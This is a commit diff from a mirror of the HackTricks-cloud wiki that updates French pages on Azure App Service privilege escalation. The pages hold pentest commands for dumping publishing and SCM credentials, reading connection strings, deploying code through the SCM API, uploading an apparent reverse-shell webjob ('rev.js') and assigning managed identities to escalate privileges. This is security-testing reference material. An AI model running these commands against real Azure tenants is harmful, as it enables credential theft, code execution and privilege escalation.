mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 07:00:38 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -12,7 +12,7 @@ Pour plus d'informations sur les services d'application Azure, consultez :
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
|
||||
|
||||
Ces autorisations permettent d'obtenir un **shell SSH** à l'intérieur d'une application web. Elles permettent également de **déboguer** l'application.
|
||||
Ces autorisations permettent d'obtenir un **SSH shell** à l'intérieur d'une application web. Elles permettent également de **déboguer** l'application.
|
||||
|
||||
- **SSH en une seule commande** :
|
||||
```bash
|
||||
@@ -23,7 +23,7 @@ az webapp ssh --name <name> --resource-group <res-group>
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
## If successfull you will get a message such as:
|
||||
## If successful you will get a message such as:
|
||||
#Verifying if app is running....
|
||||
#App is running. Trying to establish tunnel connection...
|
||||
#Opening tunnel on port: 39895
|
||||
@@ -94,7 +94,7 @@ az webapp deployment list-publishing-profiles --name <app-name> --resource-group
|
||||
}
|
||||
]
|
||||
```
|
||||
Notez que le **nom d'utilisateur est toujours le même** (sauf dans FTP qui ajoute le nom de l'application au début) mais que le **mot de passe est le même** pour tous.
|
||||
Notez que le **nom d'utilisateur est toujours le même** (sauf dans FTP qui ajoute le nom de l'application au début) mais le **mot de passe est le même** pour tous.
|
||||
|
||||
De plus, l'**URL SCM est `<app-name>.scm.azurewebsites.net`**.
|
||||
|
||||
@@ -131,7 +131,7 @@ N'oubliez pas que pour accéder à la plateforme SCM depuis le **web, vous devez
|
||||
> [!WARNING]
|
||||
> Notez que chaque utilisateur peut configurer ses propres identifiants en appelant la commande précédente, mais si l'utilisateur n'a pas suffisamment de permissions pour accéder au SCM ou FTP, les identifiants ne fonctionneront pas.
|
||||
|
||||
- Si vous voyez que ces identifiants sont **REDACTED**, c'est parce que vous **devez activer l'option d'authentification de base SCM** et pour cela, vous avez besoin de la deuxième permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
- Si vous voyez que ces identifiants sont **REDACTED**, c'est parce que vous **devez activer l'option d'authentification de base SCM** et pour cela, vous avez besoin de la deuxième permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -149,23 +149,23 @@ az rest --method PUT \
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Publier du code en utilisant des identifiants SCM
|
||||
|
||||
Il suffit d'avoir des identifiants SCM valides pour **publier du code** sur le service App. Cela peut être fait en utilisant la commande suivante.
|
||||
|
||||
Pour cet exemple en python, vous pouvez télécharger le dépôt depuis https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apporter les **modifications** que vous souhaitez et ensuite **le compresser en exécutant : `zip -r app.zip .`**.
|
||||
Pour cet exemple en python, vous pouvez télécharger le dépôt depuis https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apporter les **modifications** que vous souhaitez, puis **zippez-le en exécutant : `zip -r app.zip .`**.
|
||||
|
||||
Ensuite, vous pouvez **publier le code** avec la commande suivante :
|
||||
Ensuite, vous pouvez **publier le code** dans une application web avec la commande suivante :
|
||||
```bash
|
||||
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
|
||||
```
|
||||
### Microsoft.Web/sites/publish/Action | Identifiants SCM
|
||||
### Webjobs: Microsoft.Web/sites/publish/Action | Identifiants SCM
|
||||
|
||||
La permission Azure mentionnée permet d'effectuer plusieurs actions intéressantes qui peuvent également être réalisées avec les identifiants SCM :
|
||||
|
||||
- Lire les journaux des **Webjobs** :
|
||||
- Lire les journaux **Webjobs** :
|
||||
```bash
|
||||
# Using Azure credentials
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
@@ -173,7 +173,7 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
|
||||
|
||||
# Using SCM username and password:
|
||||
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
|
||||
--user '<username>:<password>>' -v
|
||||
--user '<username>:<password>' -v
|
||||
```
|
||||
- Lire le code source de **Webjobs** :
|
||||
```bash
|
||||
@@ -203,19 +203,19 @@ curl -X PUT \
|
||||
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
|
||||
--user '<username>:<password>'
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
Ces autorisations permettent de **attribuer une identité gérée** au service App, donc si un service App a été précédemment compromis, cela permettra à l'attaquant d'attribuer de nouvelles identités gérées au service App et **d'escalader les privilèges** vers celles-ci.
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
Cette permission permet de lister les **connection strings** et les **appsettings** du service App qui peuvent contenir des informations sensibles comme des identifiants de base de données.
|
||||
Cette permission permet de lister les **connection strings** et les **appsettings** du service App, qui peuvent contenir des informations sensibles telles que des identifiants de base de données.
|
||||
```bash
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
```
|
||||
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
|
||||
|
||||
Ces autorisations permettent de **attribuer une identité gérée** au service d'application, donc si un service d'application a été précédemment compromis, cela permettra à l'attaquant d'attribuer de nouvelles identités gérées au service d'application et **d'escalader les privilèges** vers celles-ci.
|
||||
```bash
|
||||
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
|
||||
```
|
||||
### Lire les identifiants de tiers configurés
|
||||
|
||||
En exécutant la commande suivante, il est possible de **lire les identifiants de tiers** configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d'un autre.
|
||||
|
||||
@@ -13,7 +13,7 @@ Chaque application s'exécute dans un bac à sable, mais l'isolation dépend des
|
||||
- Les niveaux Isolated s'exécutent sur des **VM dédiées sur des réseaux virtuels dédiés**, améliorant l'isolation des applications.
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que **aucune** de ces isolations **ne prévient** d'autres **vulnérabilités web** courantes (comme le téléchargement de fichiers ou les injections). Et si une **identité de gestion** est utilisée, elle pourrait être capable de **faire monter les privilèges**.
|
||||
> Notez que **aucune** de ces isolations **ne prévient** d'autres **vulnérabilités web** courantes (comme le téléchargement de fichiers ou les injections). Et si une **identité de gestion** est utilisée, elle pourrait être capable de **faire une élévation de privilèges**.
|
||||
|
||||
Les applications ont quelques configurations intéressantes :
|
||||
|
||||
@@ -75,7 +75,7 @@ Il existe 2 types de web jobs :
|
||||
- **Continu** : S'exécute indéfiniment dans une boucle et est déclenché dès sa création. Il est idéal pour les tâches nécessitant un traitement constant. Cependant, si l'application cesse de fonctionner parce que Always On est désactivé et qu'elle n'a pas reçu de demande au cours des 20 dernières minutes, le web job s'arrêtera également.
|
||||
- **Déclenché** : S'exécute à la demande ou selon un calendrier. Il est mieux adapté aux tâches périodiques, telles que les mises à jour de données par lots ou les routines de maintenance.
|
||||
|
||||
Les webjobs sont très intéressants du point de vue des attaquants car ils pourraient être utilisés pour **exécuter du code** dans l'environnement et **escalader les privilèges** vers les identités gérées attachées.
|
||||
Les webjobs sont très intéressants du point de vue des attaquants car ils pourraient être utilisés pour **exécuter du code** dans l'environnement et **élever les privilèges** aux identités gérées attachées.
|
||||
|
||||
De plus, il est toujours intéressant de vérifier les **journaux** générés par les Webjobs car ils pourraient contenir des **informations sensibles**.
|
||||
|
||||
@@ -156,6 +156,9 @@ az webapp config storage-account list --name <name> --resource-group <res-group>
|
||||
# Get configured container (if any) in the webapp, it could contain credentials
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get git URL to access the code
|
||||
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
@@ -217,24 +220,7 @@ done
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Obtenir des identifiants et accéder au code de l'application web
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
## Check how to use the DBs connection strings in the SQL page
|
||||
|
||||
# Get credentials to access the code and DB credentials if configured.
|
||||
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
|
||||
|
||||
|
||||
# Get git URL to access the code
|
||||
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
|
||||
|
||||
# Access/Modify the code via git
|
||||
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
|
||||
## In my case the username was: $nameofthewebapp and the password some random chars
|
||||
## If you change the code and do a push, the app is automatically redeployed
|
||||
```
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Reference in New Issue
Block a user